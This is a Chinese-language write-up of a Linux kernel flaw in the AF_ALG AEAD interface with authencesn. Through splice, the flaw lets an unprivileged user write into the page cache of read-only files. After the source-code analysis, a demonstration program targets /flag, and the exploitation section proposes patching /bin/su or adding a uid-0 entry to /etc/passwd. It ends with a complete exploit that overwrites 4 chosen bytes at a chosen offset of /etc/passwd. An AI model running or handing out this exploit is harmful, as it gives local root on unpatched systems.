copy fail
一.前置
入口
int tfmfd = socket(AF_ALG, SOCK_SEQPACKET, 0); //创建AF_ALG接口
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead", // 认证加密类型
.salg_name = "authencesn(hmac(sha256),cbc(aes))" // 选择 authencesn 算法
};
bind(tfmfd, (struct sockaddr *)&sa, sizeof(sa));
int op_fd = accept(tfmfd, NULL, NULL);
scatterlist
#define sg_is_chain(sg) ((sg)->page_link & SG_CHAIN)
#define sg_is_last(sg) ((sg)->page_link & SG_END)
#define sg_chain_ptr(sg) ((struct scatterlist *)((sg)->page_link & ~(SG_CHAIN | SG_END)))
#define sg_page(sg) ((struct page *)((sg)->page_link & ~(SG_CHAIN | SG_END)))
struct scatterlist {
unsigned long page_link; // 指向struct page的指针,并复用低位作为标志位
unsigned int offset; // 数据在页面内的起始偏移
unsigned int length; // 该段数据的长度
dma_addr_t dma_address; // 用于DMA的物理地址
#ifdef CONFIG_NEED_SG_DMA_LENGTH
unsigned int dma_length;
#endif
};
也许
scatterlist可以类比成pipe_buffer
正如管道的缓冲区是pipe_buffer[]一样,内核的缓冲区可以理解为scatterlist[]
scatterlist[]实际上会把一些碎片化的内存链接成逻辑上的连续内存
page_link的低位会被复用作为标志位,scatterlist的标志位有以下两种
SG_CHAIN:表示当前条目是一个链,page_link实际指向下一个scatterlistSG_END: 表示这是当前链表的最后一个scatterlist
二.漏洞分析
scatterlist构造
static int _aead_recvmsg(struct socket *sock, struct msghdr *msg,
size_t ignored, int flags)
{
struct sock *sk = sock->sk;
struct alg_sock *ask = alg_sk(sk);
struct sock *psk = ask->parent;
struct alg_sock *pask = alg_sk(psk);
struct af_alg_ctx *ctx = ask->private;
struct aead_tfm *aeadc = pask->private;
struct crypto_aead *tfm = aeadc->aead;
struct crypto_sync_skcipher *null_tfm = aeadc->null_tfm;
unsigned int i, as = crypto_aead_authsize(tfm);
struct af_alg_async_req *areq;
struct af_alg_tsgl *tsgl, *tmp;
struct scatterlist *rsgl_src, *tsgl_src = NULL;
int err = 0;
size_t used = 0; /* [in] TX bufs to be en/decrypted */
size_t outlen = 0; /* [out] RX bufs produced by kernel */
size_t usedpages = 0; /* [in] RX bufs to be used from user */
size_t processed = 0; /* [in] TX bufs to be consumed */
//...
processed = used + ctx->aead_assoclen; //processed = AAD || PT
list_for_each_entry_safe(tsgl, tmp, &ctx->tsgl_list, list) {
for (i = 0; i < tsgl->cur; i++) {
struct scatterlist *process_sg = tsgl->sg + i;
if (!(process_sg->length) || !sg_page(process_sg))
continue;
tsgl_src = process_sg; //遍历processed找到第一个有效scatterlist并返回
break;
}
if (tsgl_src)
break;
}
if (processed && !tsgl_src) {
err = -EFAULT;
goto free;
}
/*
* Copy of AAD from source to destination
*
* The AAD is copied to the destination buffer without change. Even
* when user space uses an in-place cipher operation, the kernel
* will copy the data as it does not see whether such in-place operation
* is initiated.
*
* To ensure efficiency, the following implementation ensure that the
* ciphers are invoked to perform a crypto operation in-place. This
* is achieved by memory management specified as follows.
*/
/* Use the RX SGL as source (and destination) for crypto op. */
rsgl_src = areq->first_rsgl.sgl.sg;
if (ctx->enc) { //ctx -> enc == 0 为解密分支
/*
* Encryption operation - The in-place cipher operation is
* achieved by the following operation:
*
* TX SGL: AAD || PT
* | |
* | copy |
* v v
* RX SGL: AAD || PT || Tag
*/
err = crypto_aead_copy_sgl(null_tfm, tsgl_src,
areq->first_rsgl.sgl.sg, processed);
if (err)
goto free;
af_alg_pull_tsgl(sk, processed, NULL, 0);
} else {
/*
* Decryption operation - To achieve an in-place cipher
* operation, the following SGL structure is used:
*
* TX SGL: AAD || CT || Tag
* | | ^
* | copy | | Create SGL link.
* v v |
* RX SGL: AAD || CT ----+
*/
/* Copy AAD || CT to RX SGL buffer for in-place operation. */
err = crypto_aead_copy_sgl(null_tfm, tsgl_src,
areq->first_rsgl.sgl.sg, outlen);
//outlen = used - as; 即AAD || CT
if (err)
goto free;
/* Create TX SGL for tag and chain it to RX SGL. */
areq->tsgl_entries = af_alg_count_tsgl(sk, processed,
processed - as);
if (!areq->tsgl_entries)
areq->tsgl_entries = 1;
areq->tsgl = sock_kmalloc(sk, array_size(sizeof(*areq->tsgl),
areq->tsgl_entries),
GFP_KERNEL);
if (!areq->tsgl) {
err = -ENOMEM;
goto free;
}
sg_init_table(areq->tsgl, areq->tsgl_entries);
/* Release TX SGL, except for tag data and reassign tag data. */
af_alg_pull_tsgl(sk, processed, areq->tsgl, processed - as);
/* chain the areq TX SGL holding the tag with RX SGL */
if (usedpages) {
/* RX SGL present */
struct af_alg_sgl *sgl_prev = &areq->last_rsgl->sgl;
sg_unmark_end(sgl_prev->sg + sgl_prev->npages - 1);
sg_chain(sgl_prev->sg, sgl_prev->npages + 1,
areq->tsgl);
} else
/* no RX SGL present (e.g. authentication only) */
rsgl_src = areq->tsgl;
}
/* Initialize the crypto operation */
aead_request_set_crypt(&areq->cra_u.aead_req, rsgl_src,
areq->first_rsgl.sgl.sg, used, ctx->iv);
aead_request_set_ad(&areq->cra_u.aead_req, ctx->aead_assoclen);
aead_request_set_tfm(&areq->cra_u.aead_req, tfm);
if (msg->msg_iocb && !is_sync_kiocb(msg->msg_iocb)) {
/* AIO operation */
sock_hold(sk);
areq->iocb = msg->msg_iocb;
/* Remember output size that will be generated. */
areq->outlen = outlen;
aead_request_set_callback(&areq->cra_u.aead_req,
CRYPTO_TFM_REQ_MAY_SLEEP,
af_alg_async_cb, areq);
err = ctx->enc ? crypto_aead_encrypt(&areq->cra_u.aead_req) :
crypto_aead_decrypt(&areq->cra_u.aead_req);
/* AIO operation in progress */
if (err == -EINPROGRESS)
return -EIOCBQUEUED;
sock_put(sk);
} else {
/* Synchronous operation */
aead_request_set_callback(&areq->cra_u.aead_req,
CRYPTO_TFM_REQ_MAY_SLEEP |
CRYPTO_TFM_REQ_MAY_BACKLOG,
crypto_req_done, &ctx->wait);
err = crypto_wait_req(ctx->enc ?
crypto_aead_encrypt(&areq->cra_u.aead_req) :
crypto_aead_decrypt(&areq->cra_u.aead_req),
&ctx->wait);
}
free:
af_alg_free_resources(areq);
return err ? err : outlen;
}
TX SGL是AF_ALG存储用户发送方向数据的scatterlist
在调用read()后,内核实际上会进入_aead_recvmsg用以解密/加密数据
并写入RX SGL,其中RX SGL由用户决定
used = ctx->used; //assoclen + cryptlen used -= ctx->aead_assoclen; //cryptlen err = af_alg_get_rsgl(sk, msg, flags, areq, outlen, &usedpages); //user_page
利用splice,我们可以将文件页缓存搬运至管道,并把管道转移到AF_ALG的TX SGL
由于ctx -> enc == 0,函数会进入解密分支
areq -> tsgl由sock_kmalloc(sk, array_size(sizeof(*areq->tsgl), areq->tsgl_entries), GFP_KERNEL)分配
并通过sg_init_table(areq->tsgl, areq->tsgl_entries)初始化
void sg_init_table(struct scatterlist *sgl, unsigned int nents) { memset(sgl, 0, sizeof(*sgl) * nents); sg_init_marker(sgl, nents); } static inline void sg_init_marker(struct scatterlist *sgl, unsigned int nents) { sg_mark_end(&sgl[nents - 1]); } static inline void sg_mark_end(struct scatterlist *sg) { /* * Set termination bit, clear potential chain bit */ sg->page_link |= SG_END; sg->page_link &= ~SG_CHAIN; }
其中areq -> tsgl_entries通过af_alg_count_tsgl(sk, processed, processed - as)遍历 TX - > TAG得到
因此
areq -> tsgl实际上只承载TX SGL的TAG部分
之后利用af_alg_pull_tsgl(sk, processed, areq->tsgl, processed - as)在areq->tsgl中正式挂载scatterlist
void af_alg_pull_tsgl(struct sock *sk, size_t used, struct scatterlist *dst, size_t dst_offset) { //... get_page(page); sg_set_page(dst + j, page, plen - dst_offset, sg[i].offset + dst_offset); //... }
至此,文件页缓存的引用被转移进areq -> tsgl
漏洞点
if (usedpages) {
/* RX SGL present */
struct af_alg_sgl *sgl_prev = &areq->last_rsgl->sgl;
sg_unmark_end(sgl_prev->sg + sgl_prev->npages - 1);
sg_chain(sgl_prev->sg, sgl_prev->npages + 1,
areq->tsgl);
}
sg_unmark_end(sgl_prev->sg + sgl_prev->npages - 1)会移除RX SGL最后一个scatterlist的SG_END标志位
static inline void sg_unmark_end(struct scatterlist *sg) { sg->page_link &= ~SG_END; }
通过sg_chain(sgl_prev->sg, sgl_prev->npages + 1, areq->tsgl),tsgl被链接到了RX SGL末尾
static inline void sg_chain(struct scatterlist *prv, unsigned int prv_nents, struct scatterlist *sgl) { __sg_chain(&prv[prv_nents - 1], sgl); } static inline void __sg_chain(struct scatterlist *chain_sg, struct scatterlist *sgl) { chain_sg->offset = 0; chain_sg->length = 0; chain_sg->page_link = ((unsigned long) sgl | SG_CHAIN) & ~SG_END; }
现在RX的结构就是AAD || CT ---chain---> tsgl了
err = crypto_wait_req(ctx->enc ?
crypto_aead_encrypt(&areq->cra_u.aead_req) :
crypto_aead_decrypt(&areq->cra_u.aead_req),
&ctx->wait);
因为是解密分支,我们会进入crypto_aead_decrypt
并且由于绑定了authencesn算法,最终会调用crypto_authenc_esn_decrypt
同样重要的是,由于设计失误,aead_req -> src == aead_req -> dst
实际上这里的设计失误是因为后续缺少了对
aead_req -> dst的检查
src == dst == rsgl_src是algif_aead有意的设计而 splice 能把文件页src挂进 dst 覆盖的范围
这使得后续数据写入步骤中,为dst准备独立可写区域的路径被跳过
rsgl_src = areq->first_rsgl.sgl.sg
aead_request_set_crypt(&areq->cra_u.aead_req, rsgl_src,
areq->first_rsgl.sgl.sg, used, ctx->iv);
static inline void aead_request_set_crypt(struct aead_request *req, struct scatterlist *src, struct scatterlist *dst, unsigned int cryptlen, u8 *iv) { req->src = src; req->dst = dst; req->cryptlen = cryptlen; req->iv = iv; }
数据写入
struct aead_request {
struct crypto_async_request base;
unsigned int assoclen;
unsigned int cryptlen;
u8 *iv;
struct scatterlist *src;
struct scatterlist *dst;
void *__ctx[] CRYPTO_MINALIGN_ATTR;
};
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
struct crypto_aead *authenc_esn = crypto_aead_reqtfm(req);
struct authenc_esn_request_ctx *areq_ctx = aead_request_ctx(req);
struct crypto_authenc_esn_ctx *ctx = crypto_aead_ctx(authenc_esn);
struct ahash_request *ahreq = (void *)(areq_ctx->tail + ctx->reqoff);
unsigned int authsize = crypto_aead_authsize(authenc_esn);
struct crypto_ahash *auth = ctx->auth;
u8 *ohash = PTR_ALIGN((u8 *)areq_ctx->tail,
crypto_ahash_alignmask(auth) + 1);
unsigned int assoclen = req->assoclen;
unsigned int cryptlen = req->cryptlen;
u8 *ihash = ohash + crypto_ahash_digestsize(auth);
struct scatterlist *dst = req->dst;
u32 tmp[2];
int err;
cryptlen -= authsize;
if (req->src != dst) { //req->src == req -> dst
err = crypto_authenc_esn_copy(req, assoclen + cryptlen);
if (err)
return err;
}
scatterwalk_map_and_copy(ihash, req->src, assoclen + cryptlen,
authsize, 0);
if (!authsize)
goto tail;
/* Move high-order bits of sequence number to the end. */
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
sg_init_table(areq_ctx->dst, 2);
dst = scatterwalk_ffwd(areq_ctx->dst, dst, 4);
ahash_request_set_tfm(ahreq, auth);
ahash_request_set_crypt(ahreq, dst, ohash, assoclen + cryptlen);
ahash_request_set_callback(ahreq, aead_request_flags(req),
authenc_esn_verify_ahash_done, req);
err = crypto_ahash_digest(ahreq);
if (err)
return err;
tail:
return crypto_authenc_esn_decrypt_tail(req, aead_request_flags(req));
}
copy fail漏洞逻辑就是向只读文件页缓存写入数据
但是具体是怎么做到的呢?难道PTE是棍木吗?
我们的目标是scatterwalk_map_and_copy
void scatterwalk_map_and_copy(void *buf, struct scatterlist *sg,
unsigned int start, unsigned int nbytes, int out)
{
struct scatter_walk walk;
struct scatterlist tmp[2];
if (!nbytes)
return;
sg = scatterwalk_ffwd(tmp, sg, start);
scatterwalk_start(&walk, sg);
scatterwalk_copychunks(buf, &walk, nbytes, out);
scatterwalk_done(&walk, out, 0);
}
临时数组scatterlist[2]被声明并用于创建scatter_walk,进入scatterwalk_ffwd
通过循环比对src -> length > assoclen + cryptlen,我们最终可定位到位于RX SGL尾部的tsgl
在循环中,src -> length = assoclen + cryptlen,因此len -= src -> length得到len = 0
sg_next(src)直接跳到tsgl,回到循环头if (!len) return src直接返回tsgl指针
RX SGL结构为 AAD || CT ---chain---> tsgl
其中AAD长度为assoclen,CT长度为cryptlen
因此偏移
assoclen + cryptlen正好能定位到tsgl
而tmp[1] -> page_link只是链接到下一个scatterlist的指针
struct scatterlist *scatterwalk_ffwd(struct scatterlist dst[2], struct scatterlist *src, unsigned int len) { for (;;) { if (!len) return src; if (src->length > len) break; len -= src->length; src = sg_next(src); } sg_init_table(dst, 2); //初始化scatterlist[2],上文有所提及 sg_set_page(dst, sg_page(src), src->length - len, src->offset + len); scatterwalk_crypto_chain(dst, sg_next(src), 2); return dst; } static inline void sg_set_page(struct scatterlist *sg, struct page *page, unsigned int len, unsigned int offset) { sg_assign_page(sg, page); //复用page_link末位为标志位SG_CHIAN/SG_END sg->offset = offset; sg->length = len; } static inline void scatterwalk_crypto_chain(struct scatterlist *head, //tmp, sg_next(src), 2 struct scatterlist *sg, int num) { if (sg) sg_chain(head, num, sg); else sg_mark_end(head); } struct scatterlist *sg_next(struct scatterlist *sg) { if (sg_is_last(sg)) return NULL; sg++; if (unlikely(sg_is_chain(sg))) sg = sg_chain_ptr(sg); return sg; }
利用scatterwalk_start(&walk, sg)配置好scatter_walk
struct scatter_walk { struct scatterlist *sg; //walk -> sg = tmp[0] unsigned int offset; //walk -> offset = sg -> offset };
万事俱备,我们可以开始拷贝数据了
void scatterwalk_copychunks(void *buf, struct scatter_walk *walk,
size_t nbytes, int out)
{
for (;;) {
unsigned int len_this_page = scatterwalk_pagelen(walk); //长度检测
u8 *vaddr;
if (len_this_page > nbytes)
len_this_page = nbytes;
if (out != 2) {
vaddr = scatterwalk_map(walk); //vaddr就是walk -> sg -> page_link的虚拟地址了
memcpy_dir(buf, vaddr, len_this_page, out);
scatterwalk_unmap(vaddr);
}
scatterwalk_advance(walk, len_this_page);
if (nbytes == len_this_page)
break;
buf += len_this_page;
nbytes -= len_this_page;
scatterwalk_pagedone(walk, out & 1, 1);
}
}
static inline void memcpy_dir(void *buf, void *sgdata, size_t nbytes, int out)
{
void *src = out ? buf : sgdata; //out = 1就是输入,src = buf
void *dst = out ? sgdata : buf;
memcpy(dst, src, nbytes);
}
漏洞点
static inline void *scatterwalk_map(struct scatter_walk *walk)
{
return kmap_atomic(scatterwalk_page(walk)) +
offset_in_page(walk->offset);
}
#define offset_in_page(ptr) ((unsigned long)(ptr) & ~PAGE_MASK)
//PAGE_MASK = ~(PAGE_SIZE - 1)
scatterwalk_page 把 walk->sg 换算成目标所在的 struct page,并用offset_in_page 补上页内偏移
static inline struct page *scatterwalk_page(struct scatter_walk *walk)
{
return sg_page(walk->sg) + (walk->offset >> PAGE_SHIFT);
}
#define PAGE_SHIFT 12
//实际上就是除以page_size
static inline struct page *sg_page(struct scatterlist *sg)
{
#ifdef CONFIG_DEBUG_SG
BUG_ON(sg_is_chain(sg));
#endif
return (struct page *)((sg)->page_link & ~(SG_CHAIN | SG_END)); //清除标志位
}
static inline void *kmap_atomic(struct page *page)
{
preempt_disable();
pagefault_disable();
return page_address(page);
}
通过page_address(page)可直接获取页的direct map地址
即vaddr = page_offset_base + (page_to_pfn(page) << PAGE_SHIFT)
而文件页缓存等所有普通页的direct map项均是可读写的
因此我们可利用memcpy向只读文件页缓存写入数据
由于我们全程甚至没有用
mmap为文件开映射所以文件的
PTE根本没有生成比棍木还棍木🤣
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); //从AAD取8字节
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); //写tag起点 -> 文件页
示例
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
#include <stdint.h>
#include <arpa/inet.h>
#define ASSOCLEN 8
int main(){
int tmpfd = socket(AF_ALG, SOCK_SEQPACKET ,0);
struct sockaddr_alg sa;
memset(&sa, 0, sizeof(sa));
sa.salg_family = AF_ALG;
memcpy(sa.salg_type, "aead", 5);
memcpy(sa.salg_name, "authencesn(hmac(sha256),cbc(aes))", 33);
bind(tmpfd, (struct sockaddr *)&sa, sizeof(sa));
uint8_t key[8 + 32 + 16];
memset(key, 0, sizeof(key));
*(uint16_t *)(key + 0) = 8; /* rta_len */
*(uint16_t *)(key + 2) = 1; /* CRYPTO_AUTHENC_KEYA_PARAM */
*(uint32_t *)(key + 4) = htonl(16); /* enckeylen, big endian */
memset(key + 8, 0x42, 32); /* authkey: hmac(sha256) */
memset(key + 40, 0x43, 16); /* enckey : cbc(aes) */
setsockopt(tmpfd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
setsockopt(tmpfd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
int op_fd = accept(tmpfd, NULL, NULL);
char edit[8];
memset(edit,'A',sizeof(edit));
enum { CBUF = CMSG_SPACE(sizeof(uint32_t)) * 2 +
CMSG_SPACE(sizeof(struct af_alg_iv) + 16) };
char cbuf[CBUF];
memset(cbuf, 0, sizeof(cbuf));
struct iovec iov = { .iov_base = edit, .iov_len = ASSOCLEN };
struct msghdr msg;
memset(&msg, 0, sizeof(msg));
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = cbuf;
msg.msg_controllen = CBUF;
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_OP;
cmsg->cmsg_len = CMSG_LEN(sizeof(uint32_t));
*(uint32_t *)CMSG_DATA(cmsg) = ALG_OP_DECRYPT;
cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
cmsg->cmsg_len = CMSG_LEN(sizeof(uint32_t));
*(uint32_t *)CMSG_DATA(cmsg) = ASSOCLEN;
cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_IV;
cmsg->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + 16);
struct af_alg_iv *iv = (struct af_alg_iv *)CMSG_DATA(cmsg);
iv->ivlen = 16;
memset(iv->iv, 0, 16);
sendmsg(op_fd, &msg, MSG_MORE);
int pipe_fd[2];
pipe(pipe_fd);
int fd = open("/flag",O_RDONLY);
size_t off = 0;
splice(fd, &off, pipe_fd[1], NULL, 4, 0);
splice(pipe_fd[0], NULL, op_fd, NULL, 4 , 0);
char buf[0x40];
read(op_fd, buf, sizeof(buf));
close(fd);
close(pipe_fd[0]);
close(pipe_fd[1]);
close(op_fd);
close(tmpfd);
return 0;
}

三.漏洞利用
在/bin/su中,有关密码检验的逻辑大概是
call getuid
test eax, eax
jne require_password ; 0x75 xx —— 非 root 跳去要密码
若利用漏洞修改jne为je,非 root 反而跳过密码校验
于是直接su root即可夺权
或是直接在/etc/passwd写入一个伪造的uid = 0用户
四.Explot
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
#include <stdint.h>
#include <arpa/inet.h>
#define ASSOCLEN 8
int main(int argc, char **argv){
int tmpfd = socket(AF_ALG, SOCK_SEQPACKET ,0);
struct sockaddr_alg sa;
memset(&sa, 0, sizeof(sa));
sa.salg_family = AF_ALG;
memcpy(sa.salg_type, "aead", 5);
memcpy(sa.salg_name, "authencesn(hmac(sha256),cbc(aes))", 33);
bind(tmpfd, (struct sockaddr *)&sa, sizeof(sa));
uint8_t key[8 + 32 + 16];
memset(key, 0, sizeof(key));
*(uint16_t *)(key + 0) = 8; /* rta_len */
*(uint16_t *)(key + 2) = 1; /* CRYPTO_AUTHENC_KEYA_PARAM */
*(uint32_t *)(key + 4) = htonl(16); /* enckeylen, big endian */
memset(key + 8, 0x42, 32); /* authkey: hmac(sha256) */
memset(key + 40, 0x43, 16); /* enckey : cbc(aes) */
setsockopt(tmpfd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
setsockopt(tmpfd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
int op_fd = accept(tmpfd, NULL, NULL);
char edit[8];
if(!argv[2]){
memset(edit, '\n', sizeof(edit));
}else{
memcpy(edit + 4, argv[2], 4);
}
enum { CBUF = CMSG_SPACE(sizeof(uint32_t)) * 2 +
CMSG_SPACE(sizeof(struct af_alg_iv) + 16) };
char cbuf[CBUF];
memset(cbuf, 0, sizeof(cbuf));
struct iovec iov = { .iov_base = edit, .iov_len = ASSOCLEN };
struct msghdr msg;
memset(&msg, 0, sizeof(msg));
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = cbuf;
msg.msg_controllen = CBUF;
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_OP;
cmsg->cmsg_len = CMSG_LEN(sizeof(uint32_t));
*(uint32_t *)CMSG_DATA(cmsg) = ALG_OP_DECRYPT;
cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
cmsg->cmsg_len = CMSG_LEN(sizeof(uint32_t));
*(uint32_t *)CMSG_DATA(cmsg) = ASSOCLEN;
cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_IV;
cmsg->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + 16);
struct af_alg_iv *iv = (struct af_alg_iv *)CMSG_DATA(cmsg);
iv->ivlen = 16;
memset(iv->iv, 0, 16);
sendmsg(op_fd, &msg, MSG_MORE);
int pipe_fd[2];
pipe(pipe_fd);
int fd = open("/etc/passwd",O_RDONLY);
size_t off = strtoul(argv[1], NULL, 0);
splice(fd, &off, pipe_fd[1], NULL, 4 , 0);
splice(pipe_fd[0], NULL, op_fd, NULL, 4 , 0);
char buf[0x40];
read(op_fd, buf, sizeof(buf));
close(fd);
close(pipe_fd[0]);
close(pipe_fd[1]);
close(op_fd);
close(tmpfd);
return 0;
}
